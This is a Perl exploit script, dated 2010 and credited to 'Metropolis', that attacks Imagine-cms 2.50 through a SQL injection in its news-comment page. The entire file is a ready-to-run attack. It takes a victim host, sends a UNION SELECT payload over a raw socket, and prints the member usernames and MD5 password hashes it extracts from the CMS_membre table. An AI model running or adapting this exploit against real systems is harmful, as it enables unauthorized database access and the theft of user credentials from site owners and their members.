#!/usr/bin/perl
###########################################
#
# Script Name : Imagine-cms 2.50
#
# Version : 2.50
#
# Bug Type : SQL Injection
#
# Found by : Metropolis
#
# Home : http://metropolis.fr.cr
#
# Discovered : 21/07/2010
#
# Download app :
# http://www.imagine-cms.net/modules/
# telechargement/index.php?page=afficher_souscat&id_cat=2
#
###########################################
use IO::Socket;
if(@ARGV != 2) { usage(); }
else { exploit(); }
sub header()
{
print "\n- Author: Metropolis\r\n";
print "- Imagine-cms <= 2.50 Remote SQL Injection Exploit\r\n";
}
sub usage()
{
header();
print "- Usage: $0 <host> <path>\r\n";
print "- <host> -> Victim's host ex: www.victim.com\r\n";
print "- <path> -> ex: /\r\n";
exit();
}
sub exploit ()
{
#Our variables...
$spserver = $ARGV[0];
$spserver =~ s/(http:\/\/)//eg;
$sphost = "http://".$spserver;
$spdir = $ARGV[1];
$spport = "80";
$sptar = "index.php?page=commentaire&idnews=";
$spxp = "-1+and+1=0+union+select+1,2,concat(25552,membre_pseudo,25553,membre_mdp,25554),4,5+from+CMS_membre--";
$spreq = $sphost.$spdir.$sptar.$spxp;
#Sending data...
header();
print "- Trying to connect: $spserver\r\n";
$sp = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$spserver", PeerPort => "$spport") || die "- Connection failed...\n";
print $sp "GET $spreq HTTP/1.1\n";
print $sp "Accept: */*\n";
print $sp "Referer: $sphost\n";
print $sp "Accept-Language: tr\n";
print $sp "User-Agent: NukeZilla\n";
print $sp "Cache-Control: no-cache\n";
print $sp "Host: $spserver\n";
print $sp "Connection: close\n\n";
print "- Connected...\r\n";
while ($answer = <$sp>) {
if ($answer =~ /25552(.*?)25553([\d,a-f]{32})25554/) {
print "- Exploit succeed!\r\n";
print "- Username: $1\r\n";
print "- MD5 HASH of PASSWORD: $2\r\n";
exit();
}
}
#Exploit failed...
print "- Exploit failed\n"
}